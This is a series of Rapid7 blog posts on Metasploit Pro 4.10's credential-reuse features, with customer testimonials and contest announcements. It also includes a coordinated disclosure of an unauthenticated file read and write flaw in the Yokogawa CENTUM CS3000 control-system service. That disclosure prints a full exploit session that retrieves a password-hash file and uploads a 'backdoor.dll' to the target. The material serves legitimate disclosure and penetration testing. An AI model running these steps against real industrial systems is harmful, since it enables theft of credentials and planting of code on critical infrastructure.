While we might be showing users the output of a hashdump and telling them how this scrambled text can be reused on other systems where the credentials are valid, for these larger scale activities, maximizing your count of shelled systems gets exponentially expensive in terms of time when you're attempting to exhaust all avenues that open up from harvested credentials. I am a command-line kind of guy, but pitting my typing against my backspace prowess isn't really feasible for me when shelling more than a handful of machines. This is where the backspace key and clock work in tandem to humble me. The development effort that was put into making these activities more efficient is well-spent and a welcome addition.

 

To get started with the tech preview, I spun up a virtual machine, installed the pre-release package without issue, and had it up and running in a few minutes. The testing process did not require much of my time, and I would estimate that I spent less than 30-45 minutes actually testing the steps that were asked of me, mostly being along the lines of making sure that items in the application produced the desired result when clicked. There is also a degree of latitude as far as what targets to hit, so instead of using Metasploitable or another intentionally vulnerable target, I pointed this tech preview at our Nexpose platform and imported a list of hosts to try this out on. After all, I want to see how this is going to help me save time in a more authentic scenario than a lab. So, I originally set up a single credential, aimed it at all of the systems, and watched as they indicated whether these credentials were valid against these hosts. It wasn't long after making sure I followed the test steps that I was spending more time cloning credentials based on certain character patterns that I've observed in the past here and aiming additional sets of credentials at these hosts. I honestly had no desire to do this from a command line with each permutation. I think this feature is actually rekindling a relationship with my mouse, as I can't imagine anything other than a purist's love of a black background to warrant doing this stuff from the command line again.

 

One thing that was not part of the tech preview, but I hope to see in the future, is taking a harvested set of credentials and automatically reusing them for any authenticated exploits during an auto-exploitation routine, thereby expanding the attack surface of your targets where you may otherwise need to only attempt the remote/unauthenticated exploits, or be forced to go into the modules and selectively set those authenticated exploits to use a particular set of credentials. This would need more thought and planning than I've done as I write this, but I envision a list of harvested credentials on that new credentials tab growing over time that would be a great list, specific to my environment, that might yield additional targets when using some type of "authenticated upload and execute" or similar exploits requiring valid credentials to test.

 

While I have this opportunity, I also want to encourage everyone to provide candid feedback to Rapid7. While many of us may operate in the mindset that we aren't a large enough customer to warrant the vendor's attention, I have witnessed on many occasions that a quick note almost always results in a same-day response from one of the development teams. This isn't a canned response or some default of "We'll review it and thanks" kind of thing. Often, it results in a direct conversation to discuss further. I've often seen new features added in a week or two that directly address the feedback, and I've never worked with a software company that valued feedback and acted on it at this level. The end result is that we, as a community, end up with tools that make our jobs easier and more efficient, making us better at our jobs. If you think of an improvement to their solutions, please share it with them. It is well worth the effort.

 

Note from Rapid7: If you'd like to learn more about the new credentials features and see Metasploit Pro in action, please reserve a space on our free upcoming webcast "Credentials Are the New Exploits: How to Effectively Use Credentials in Penetration Tests"

By guest blogger Dustin Heywood, Manager, Security Assurance, ATB Financial

 

cred-reuse.pngRecently I was invited to participate in Metasploit Pro’s Tech Preview Program, where customers are given early access to new product releases.  I've taken part in this program before and I have always loved the experience.

 

For those of you who haven't been involved in a Rapid7 Tech Preview program: It starts out with a call with the customer engagement manager and the product management team, who gave me an overview of the upcoming product changes and logistics. I received a special tech preview build and license key, a test script, and access to a private Security Street space to discuss the new features with peers and Rapid7.

 

I really liked that Rapid7 doesn’t require that you follow the script. In fact, I had direct access to product management to ask questions, discuss bugs and get updated Tech Preview builds.

 

Rapid7 gathers feedback throughout the process, for example through a phone call and exit survey. I provided feedback on the good, the bad, and how useful I found the features. The entire process is seamless and highly rewarding, so I take part in every Tech Preview I can.

 

I won't spend a lot of time covering the new release (read this post for more info), but there are new features that definitely make life easier.  Metasploit Pro 4.10 is all about credential management & credential reuse.  Metasploit’s credential features definitely save us time in workflows.

 

Credentials reuse is a critical security issue. We have already started to leverage the new features in Metasploit Pro to make our penetration tests much more effective.  The ability to reuse credentials and raw hashes with just a few clicks is a major time saver, makes for extremely effective demonstrations, and allows for rapid system pivoting.

 

I had a few weeks to play with the new credentials menu before it was released and was very impressed.  Well done to Rapid7 on yet another amazing release.

 

Note from Rapid7: If you'd like to learn more about the new credentials features and see Metasploit Pro in action, please reserve a space on our free upcoming webcast "Credentials Are the New Exploits: How to Effectively Use Credentials in Penetration Tests"

We’ve given credentials a new boost with Metasploit 4.10. It’s now easier to manage, reuse and report on credentials as part of a penetration test.

 

Pentesters are shifting from exploits to credentials

 

There was one common theme that we heard from a lot of penetration testers we talked to over the past few months: You’re using more and more credentials on penetration tests. We even surveyed the Metasploit user base to make sure we didn’t ask a biased sample: 59% of you said that you use credentials for half or more of your penetration test compared to exploits.

 

credentials-versus-exploits.png

2014 Metasploit User Survey: “On an average pentest, do you focus more on exploits or credentials?”, N=561

 

This is not really surprising: Organizations are getting better at vulnerability management. (OK, I said better, not perfect.) You find it harder to find that MS08-067 on the network, especially now that Windows XP has been taken out of maintenance and is starting to disappear from corporate networks. (Well, they’re “starting” to take XP out of circulation.) Over the past few years, the Microsoft Windows engineering team has also been getting better at making exploitation harder, specifically through techniques such as canary values, data execution prevention (DEP), address space layout randomization (ASLR), the enhanced mitigation experience toolkit (EMET), plus 64-bit addressing pretty much made traditional memory corruption exploits impossible. Exploits also increase your chance of getting caught, because unlike credentials, there is no legitimate reason for using them.

 

You’ve probably used credentials for a while, but now they’re even more valuable: They’re easy to obtain through phishing, public leaks, or simply guessing. Once you have compromised your first machine, you can loot passwords, hashes, and SSH keys and reuse them against other parts of the network. Repeat until the domino effect brings the entire network under your control.

 

What’s more important: Attackers are using more credentials as well, so you’re mimicking their actions for more accurate risk assessment. In fact, credentials are the number one attack methodology in the 2014 Verizon Data Breach Investigation Report.

 

Metasploit gets a new credentials architecture

 

The Rapid7 Metasploit team revamped the way Metasploit handles credentials. Now, each credential comes with metadata such as its origin and where it was successfully used for logins. We’ve already ported 60 out of 180 auxiliary modules to the new architecture and have launched a community competition to help port the rest (see @todb’s blog post for more details and GitHub for a list of yet unported modules).

 

If you're using Metasploit Framework, the new architecture is immediately available to you if you are using the binary installers. In case you get your Metasploit Framework code straight from GitHub: We are working on merging the code bases on GitHub and will make these available in the coming weeks - watch this space.

 

Metasploit Express and Metasploit Pro simplify managing, reusing and reporting on credentials

 

While Metasploit Framework users will see improvements from the new credentials architecture, there’s even more good stuff in the commercial Metasploit editions: Metasploit Pro 4.10 increases the productivity for penetration testers who leverage credentials to take over large networks. Users rarely use unique passwords per application and passwords are often cached on systems. The new functionality in version 4.10 simplifies the reuse of credentials to simulate credentials-based attacks such as the ones recently experienced by Target and eBay. Metasploit now makes it easier to track and manage credentials, including where they were gathered and which systems they gave access to. Users can now quickly validate that credentials work on specific services and reuse them on other parts of the network. Penetration testers also have improved reports to convey results to IT operations, management, and auditors. These improvements are exclusive to Metasploit Express and Metasploit Pro.

 

New credentials management

 

Penetration testers often use spreadsheets or even a text editor to keep track of credentials. This hurts productivity because it’s difficult to efficiently reuse credentials across services as diverse as Windows, SQL Server and VNC. It’s also difficult to report on these credentials. If you’re already off-site writing your report, you may even discover that you forgot to note down some important details.

 

Metasploit Pro and Express now come with new credentials management that makes it a snap to track credentials, their origin, and where they can be used. You can find the new credentials management in the new Credentials menu under Manage. In addition to credentials captured by Metasploit, you can also import a variety of formats.

 

manage-creds3.png

 

Quick credential validation

 

We also overhauled the credentials tab on the single host view, which now shows you both the logins that can get you access to the machine as well as the captured credentials that were looted from the machine. The little key in the Validate column enables you to quickly check if a particular credential is valid.

 

The quick credential validation only checks if a credential works but does not create a session. Here’s how you create a session:

 

Metasploit Pro: Use the Known Credentials Intrusion MetaModule, and enter the IP range you’d like to target.

Metasploit Express: Use post-authentication modules specific to the service you are using, such as exploit/windows/smb/psexec for SMB credentials (go to Modules menu and select Search to use them).

 

The Quick Validation feature will turn credentials (the combination of a username plus a password, hash or SSH key) into logins (a credential that has been validated to be used on a certain host/service combination). You can only use the Credentials Intrusion MetaModule with logins, not with credentials. Other ways to create logins are the MetaModules for Single Password Testing, Pass the Hash, and SSH Key Testing as well as the new Credentials Reuse feature (see below).

 

single-host-view2.png

 

Efficient credentials reuse

 

Security best practice is to never share credentials across hosts and services. However, we all know that all good intentions go out of the window when users find it difficult to remember multiple passwords.

 

Metasploit Pro and Express now have a Credentials Reuse functionality, which you can find – surprise – in the new Credentials menu under Reuse. What’s powerful about this new feature is that you can filter and select individual hosts and services to try specific credentials on. This gives you the power to either try every credential against all services, one credential against one service, or any combination in between.

 

cred-reuse.png

 

Create clear and concise credential reports

 

We heard loud and clear from you that you loathe writing reports. Metasploit Pro and Express now create illustrative credentials reports for you. In addition to lists of passwords and compromised hosts, you will see diagrams that show you which hosts are most at risk from credentials abuse and which credentials provide access to the most machines. The reports will make it very easy to communicate your findings with the IT operations team or provide documentation to auditors.

 

credentials-report-1.png  credentials-report-2.png

 

New modules since Metasploit 4.9

 

At Rapid7, we believe that knowledge of vulnerabilities and access to exploits should not be pay for play. We make Metasploit exploits and auxiliary modules available in all editions, including the free Metasploit Framework and Metasploit Community editions. Some of these modules come from our internal team, but many are submitted through you, the Metasploit Community. Here’s a list of the new modules we added since version 4.9:

 

Exploit modules

 

Auxiliary and post modules

 

And It's All Available Now

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see our most excellent release notes.

This blog post represents the final disclosure of the the Yokogawa CENTUM CS3000 vulnerability discussed by Tod Beardsley (@todb) and Jim Denaro (@cipherlaw) on their DEFCON talk, "How To Disclose an Exploit Without Getting in Trouble". A link to that talk, and the slides, will be available shortly.


Let's start with a quote from the Yokogawa description of their own product in order to introduce it: "Yokogawa released CENTUM CS 3000 R3 in 1998 as the first Windows-based production control system under our brand. For over 10 years of continuous developments and enhancements, CENTUM CS 3000 R3 is equipped with functions to make it a matured system. With over 7600 systems sold worldwide, it is a field-proven system with 99.99999% of availability."

 

Vulnerability Summary

 

The Yokogawa Centum CS3000 solution uses different services in order to provide all its functionality. The “BKBCopyD.exe” service, started when running the “FCS / Test Function”, listens by default on TCP/20111. There is a lack of authentication which makes possible to abuse several operations provided by the service in order to:

 

  • Leak the CENTUM project database location.
  • Read arbitrary files.
  • Write arbitrary files.

 

Reading and Writing to the file system will happen with the privileges of the CENTUM user.

 

Disclosure Timeline

 

DateDescription
March, 2014Client-Attorney Relationship Established between Cipherlaw Group and Rapid7
April 14, 2014Vulnerability details disclosed to attorney
May 1, 2014Details offered to vendor
June 25, 2014Details disclosed to CERTs
Aug 9, 2014Details, Metasploit module published as PR 3637

 

Technical Analysis

 

The “BKBCopyD.exe” service provides several operations, which can be abused without further authentication by anyone with network access to the service. The operations are described below:

 

  • PMODE: this command allows getting the value for environment variables. It includes the MR_DBPATH variable with the project path in the file system or network resource.
  • RETR: this command allows reading arbitrary files from the remote file system with the privileges of the CENTUM user. The service neither the command provide any additional authentication or authorization mechanism.
  • STOR: this command allows storing arbitrary files in the remote file system with the privileges of the CENTUM user. The service neither the command provide any additional authentication or authorization mechanism.

 

Exploitation

 

A working Metasploit module has been developed for Windows XP SP3 / Yokogawa Centum CS3000 R3.08.50, where is possible to leak the database location, retrieve and store arbitrary files:

 

  • Retrieving the database location with PMODE:

 

msf > use auxiliary/admin/scada/yokogawa_bkbcopyd_client

msf auxiliary(yokogawa_bkbcopyd_client) > set RHOST 172.17.1.63

RHOST => 172.17.1.63

msf auxiliary(yokogawa_bkbcopyd_client) > set action PMODE

action => PMODE

msf auxiliary(yokogawa_bkbcopyd_client) > run

 

 

[*] 172.17.1.63: 20111 - Sending PMODE packet...

[+] Success: 210 PMODE C:\CS3000\ENG\BKPROJECT\MYPJT\TestMaster\HIS0163\database command successful

 

  • Retrieving the project password database location with RETR:

 

msf auxiliary(yokogawa_bkbcopyd_client) > set action RETR

action => RETR

msf auxiliary(yokogawa_bkbcopyd_client) > set RPATH C:/CS3000/ENG/BKPROJECT/MYPJT/TestMaster/HIS0163/database/system/Password.odc

RPATH => C:/CS3000/ENG/BKPROJECT/MYPJT/TestMaster/HIS0163/database/system/Password.odc

msf auxiliary(yokogawa_bkbcopyd_client) > run

 

 

[*] 172.17.1.63: 20111 - Sending RETR packet...

[*] Server started.

[*] 172.17.1.63 - Getting data...

[+] /Users/redsadic/.msf4/loot/20140806223145_default_172.17.1.63_yokogawa.cs3000._ 687005.bin saved!

[*] 172.17.1.63 - Getting data...

[*] Server stopped.

[*] Auxiliary module execution completed

msf auxiliary(yokogawa_bkbcopyd_client) > cat /Users/redsadic/.msf4/loot/20140806223145_default_172.17.1.63_yokogawa.cs3000._ 687005.bin

[*] exec: cat /Users/redsadic/.msf4/loot/20140806223145_default_172.17.1.63_yokogawa.cs3000._ 687005.bin

 

 

#YDCS_PASSWORD PROJECT: MYPJT

OFFUSER:01a742f640f8a4c0b57feb7ae6e29099:1391182083

ONUSER:aad21bd26dae81dce52741595bea7beb:1391182083

ENGUSER:2550cc2337fcd119327b8d730476cfdc:1391182083

PROG:b08f11a7e028f607009ba4039d9bda0e:1391182083

TESTUSER:2dc22e16cbfae90fafd1a5d84e09b48f:1391182083

#!2712db741f4af7718f74fd179deacbe3msf

 

  • Placing remote files with STOR:

msf auxiliary(yokogawa_bkbcopyd_client) > set action STOR

action => STOR

msf auxiliary(yokogawa_bkbcopyd_client) > set LPATH /tmp/backdoor.dll

LPATH => /tmp/backdoor.dll

msf auxiliary(yokogawa_bkbcopyd_client) > set RPATH C:/CS3000/ENG/BKPROJECT/MYPJT/TestMaster/HIS0163/database/system/backdoor.dll

RPATH => C:/CS3000/ENG/BKPROJECT/MYPJT/TestMaster/HIS0163/database/system/backdoor.dll

msf auxiliary(yokogawa_bkbcopyd_client) > run

 

 

[*] 172.17.1.63: 20111 - Sending STOR packet...

[*] Server started.

[*] 172.17.1.63 - Sending data...

[*] Server stopped.

[*] Auxiliary module execution completed

msf auxiliary(yokogawa_bkbcopyd_client) >

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

Race to Root

Unless you've gotten to this blog by freak accident, you are certain to be aware that next week is Black Hat USA 2014, and of course, we'll be there. You can find us at Booth #541, where we'll be running the Metasploit Race to Root, using the latest pre-release build of Metasploit Pro.

 

Now, this is not just a contest to see who can get their badge scanned the fastest. Oh no. This is a real, hands-on micro-sized capture the flag competition, run by our capable and talented in-house Metasploit experts, and we think it'll be a pretty fun experience. Like with most CTFs, you get to play the role of attacker, and your goal is to escalate privileges on the target network from a local user to Domain Administrator in the fastest possible time. Lucky for you, Metasploit's redesigned credential management makes this challenge pretty cake. We're confident that you'll be surprised (and possibly terrified) at how fast a a minor breach can turn into a total network-wide root compromise.

 

In addition, there are some pretty cool prizes on the line for the people who clock the fastest times. The first place winner will be awarded with a full, year-long license to Metasploit Pro, so that he or she may continue to pursue a career as the clearly brilliant and efficient hacker he or she is. Our second place winner will get a pair of our snazzy "Rapid7 Orange" Beats by Dre headphones, which should prove useful for drowning out the jeers from the aforementioned first place winner.

 

Loginpalooza

In addition to the Race to Root, we're also kicking off a month long contest for you exploit developers. Between August 1, 2014 and September 1, 2014, we're running Loginpalooza, a challenge to our open source developer community. If you're of the programming type, read on.

 

As mentioned last week, we open sourced the entirely new Metasploit credential engine. This represents a ton of work down in Metasploit's guts, since it refines and extends what a "credential" really represents in Metasploit's internals. Now, while we've already converted all of your most-used and most-useful modules to leverage the new credential scheme, there are about a hundred lesser-used modules left to convert.

 

The challenge is pretty straight forward: Read Dave @TheLightCosine Maloney's overview of how Metasploit Login Scanners are created, then start in on converting over modules that tickle your fancy.

 

The prizes for Loginpalooza are pretty sweet, as well. The person with the most contributions reworking the listed modules will receive a WiFi Pineapple Mark V Ultra Bundle 15000 from Hak5, and the runner up will get a Onion Pi Pack with mini Wi-Fi from Adafruit.

 

The Metasploit Framework GitHub wiki, Metasploit Loginpalooza, should have everything you need to know to get started and keep track of your progress. If you run into any problems or surprises, feel free to comment below.

Filter Blog

By date: By tag: